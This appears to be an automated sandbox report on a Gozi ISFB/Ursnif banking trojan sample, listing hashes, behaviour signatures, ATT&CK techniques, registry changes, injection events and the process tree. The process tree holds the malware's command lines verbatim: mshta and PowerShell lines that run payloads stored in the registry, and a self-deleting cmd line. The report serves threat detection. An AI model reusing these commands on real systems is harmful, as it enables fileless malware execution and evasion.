gozi_ifsb | d5ccf9039136d23649240cd3879f6e9d40dae0dff2a5cfcdefc8535f93587c38

General

Target

3.exe
Size

142KB
MD5

5105430437588f8878da6957bc8c3119
SHA1

818651e37ef71701165c3eb03c5c1813c1047b32
SHA256

d5ccf9039136d23649240cd3879f6e9d40dae0dff2a5cfcdefc8535f93587c38
SHA512

3149a53bc48feea00ce6067cf5bbe94ae5b65e933ffdd5ae4139d217c2e7e7e65fa636ab021d9a374e091a791c952e6f995e6cb923ddbfcc33d4d1e575e528b1

Score

10^/10

spyware evasion trojan banker gozi_ifsb ursnif

Malware Config

Signatures

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

1792 powershell.exe
1316 Explorer.EXE
1316 Explorer.EXE
1452 cmd.exe

pid	process
1792	powershell.exe
1316	Explorer.EXE
1316	Explorer.EXE
1452	cmd.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEExplorer.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Explorer.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1312 PING.EXE

pid	process
1312	PING.EXE

Modifies Internet Explorer settings 1 TTPs 42 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEmshta.exeIEXPLORE.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab31238800000000020000000000106600000001000020000000d29276e500bc34ce6800cc2ed096eedc5f7624a6907004e2e888363ba60e7c89000000000e8000000002000020000000707cef2d14f52ecd91f204fe7ae6eefe36367760263c53ec0094cf125aa231e620000000d0d9e859876754d9ad15455d7c81080ffd63331e32d3af41198bcae500fda2b440000000a47c85f41fcd0ff03103ab18bc18422ddffc7f36e5491645f33ab9707c7e7726a35263c960eb9f2f0b5ad84633eb0ec64314343ddfe71aebb839e7ef53a0a29e	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab31238800000000020000000000106600000001000020000000e1440499494d1664b095aa977087fa64a18ff8aad3a38eee06b54778d290e802000000000e8000000002000020000000fab3e8842bcfae6ecd9ab9d7752fc652ceedd9048d3b253efd5fe5faf373c7b490000000c2510bea3969202515cf302f9a1500bc5b318300f75a9413616bcea3aefd08ae9e9245220d88266347b6f8bf500981c65dbf811fa0f4eb565a0fb84bbe0d43d8a8025ffcb8cbe009277f4e5ac4cff250ca6452088d08d70d016f62737c158d15b0b661c0d4462a239d43224168d065cf582310bf9c9e384498a1f6aadde5f51f0b463c32e38938bcc1f4b5adb148ff2640000000afcff2f2986003bbf5fe32d2ba1da87422fbefbb02576b6e4091640cc6b3344c80f35cb9e1fd1dc53642ba9fafc75ba19ef18ad7cba792345b39dbfc2ffb0044	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "301432063"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0b511804859d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B81BDEB1-C53B-11EA-85BB-521955544CF0} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

Processes:

iexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 1060 wrote to memory of 1800	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 1800	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 1800	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 1800	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 956	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 956	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 956	1060	iexplore.exe	IEXPLORE.EXE
PID 1060 wrote to memory of 956	1060	iexplore.exe	IEXPLORE.EXE
PID 1000 wrote to memory of 1792	1000	mshta.exe	powershell.exe
PID 1000 wrote to memory of 1792	1000	mshta.exe	powershell.exe
PID 1000 wrote to memory of 1792	1000	mshta.exe	powershell.exe
PID 1792 wrote to memory of 520	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 520	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 520	1792	powershell.exe	csc.exe
PID 520 wrote to memory of 1616	520	csc.exe	cvtres.exe
PID 520 wrote to memory of 1616	520	csc.exe	cvtres.exe
PID 520 wrote to memory of 1616	520	csc.exe	cvtres.exe
PID 1792 wrote to memory of 1580	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 1580	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 1580	1792	powershell.exe	csc.exe
PID 1580 wrote to memory of 1952	1580	csc.exe	cvtres.exe
PID 1580 wrote to memory of 1952	1580	csc.exe	cvtres.exe
PID 1580 wrote to memory of 1952	1580	csc.exe	cvtres.exe
PID 1792 wrote to memory of 1316	1792	powershell.exe	Explorer.EXE
PID 1792 wrote to memory of 1316	1792	powershell.exe	Explorer.EXE
PID 1792 wrote to memory of 1316	1792	powershell.exe	Explorer.EXE
PID 1316 wrote to memory of 1060	1316	Explorer.EXE	iexplore.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1060	1316	Explorer.EXE	iexplore.exe
PID 1316 wrote to memory of 1060	1316	Explorer.EXE	iexplore.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1452	1316	Explorer.EXE	cmd.exe
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1452 wrote to memory of 1312	1452	cmd.exe	PING.EXE
PID 1316 wrote to memory of 1628	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1628	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1628	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1620	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1620	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1620	1316	Explorer.EXE	cmd.exe
PID 1628 wrote to memory of 1916	1628	cmd.exe	nslookup.exe
PID 1628 wrote to memory of 1916	1628	cmd.exe	nslookup.exe
PID 1628 wrote to memory of 1916	1628	cmd.exe	nslookup.exe
PID 1620 wrote to memory of 1952	1620	cmd.exe	nslookup.exe
PID 1620 wrote to memory of 1952	1620	cmd.exe	nslookup.exe
PID 1620 wrote to memory of 1952	1620	cmd.exe	nslookup.exe
PID 1316 wrote to memory of 1880	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1880	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1880	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1308	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1308	1316	Explorer.EXE	cmd.exe
PID 1316 wrote to memory of 1308	1316	Explorer.EXE	cmd.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
1060	iexplore.exe
1060	iexplore.exe
1800	IEXPLORE.EXE
1800	IEXPLORE.EXE
1060	iexplore.exe
1060	iexplore.exe
956	IEXPLORE.EXE
956	IEXPLORE.EXE
1060	iexplore.exe
1060	iexplore.exe
1800	IEXPLORE.EXE
1800	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 8 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

1060 iexplore.exe
1060 iexplore.exe
1060 iexplore.exe
1316 Explorer.EXE
1316 Explorer.EXE
1316 Explorer.EXE
1316 Explorer.EXE
1316 Explorer.EXE
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1452 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1792 powershell.exe

pid	process
1452	cmd.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1792 set thread context of 1316	1792	powershell.exe	Explorer.EXE
PID 1316 set thread context of 1060	1316	Explorer.EXE	iexplore.exe
PID 1316 set thread context of 1452	1316	Explorer.EXE	cmd.exe
PID 1452 set thread context of 1312	1452	cmd.exe	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

1312 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeExplorer.EXE

pid process

1792 powershell.exe
1792 powershell.exe
1316 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1316 Explorer.EXE
1316 Explorer.EXE
1316 Explorer.EXE
1316 Explorer.EXE
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif

pid	process
1312	PING.EXE

pid	process
1792	powershell.exe
1792	powershell.exe
1316	Explorer.EXE

pid	process
1316	Explorer.EXE
1316	Explorer.EXE
1316	Explorer.EXE
1316	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:1316
- C:\Users\Admin\AppData\Local\Temp\3.exe
  "C:\Users\Admin\AppData\Local\Temp\3.exe"
  2⤵
  PID:288
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
    3⤵
    - Suspicious behavior: MapViewOfSection
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:1792
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\utdl11l2\utdl11l2.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:520
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1B5C.tmp" "c:\Users\Admin\AppData\Local\Temp\utdl11l2\CSC3C5E1BE7974343F6AFB23EEC9B21371.TMP"
        5⤵
        
        PID:1616
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gy3tvbmd\gy3tvbmd.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1580
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1BF8.tmp" "c:\Users\Admin\AppData\Local\Temp\gy3tvbmd\CSCFA59C834462B4CF684B4D1546612B340.TMP"
        5⤵
        
        PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\3.exe"
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  - Deletes itself
  - Suspicious use of SetThreadContext
  PID:1452
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1312
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\5FB0.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1952
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\6040.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1916
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5FB0.bi1"
  2⤵
  PID:1880
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6040.bi1"
  2⤵
  PID:1308

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:1060
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1060 CREDAT:275457 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1800
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1060 CREDAT:537608 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5FB0.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FB0.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\6040.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\6040.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1B5C.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1BF8.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\gy3tvbmd\gy3tvbmd.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\utdl11l2\utdl11l2.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\2B2T78DR.txt

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gy3tvbmd\CSCFA59C834462B4CF684B4D1546612B340.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gy3tvbmd\gy3tvbmd.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gy3tvbmd\gy3tvbmd.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utdl11l2\CSC3C5E1BE7974343F6AFB23EEC9B21371.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utdl11l2\utdl11l2.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utdl11l2\utdl11l2.cmdline

Download Submit
memory/288-0-0x0000000000E49000-0x0000000000E5A000-memory.dmp

Filesize
68KB

Download
memory/288-1-0x0000000000F40000-0x0000000000F51000-memory.dmp

Filesize
68KB

Download
memory/520-5-0x0000000000000000-mapping.dmp

Download
memory/956-3-0x0000000000000000-mapping.dmp

Download
memory/1308-29-0x0000000000000000-mapping.dmp

Download
memory/1312-22-0x0000000000000000-mapping.dmp

Download
memory/1312-23-0x000007FFFFFD5000-mapping.dmp

Download
memory/1452-19-0x0000000000000000-mapping.dmp

Download
memory/1452-20-0x0000000000000000-mapping.dmp

Download
memory/1452-21-0x000007FFFFFDB000-mapping.dmp

Download
memory/1580-12-0x0000000000000000-mapping.dmp

Download
memory/1616-8-0x0000000000000000-mapping.dmp

Download
memory/1620-25-0x0000000000000000-mapping.dmp

Download
memory/1628-24-0x0000000000000000-mapping.dmp

Download
memory/1792-4-0x0000000000000000-mapping.dmp

Download
memory/1800-2-0x0000000000000000-mapping.dmp

Download
memory/1880-28-0x0000000000000000-mapping.dmp

Download
memory/1916-26-0x0000000000000000-mapping.dmp

Download
memory/1952-27-0x0000000000000000-mapping.dmp

Download
memory/1952-15-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads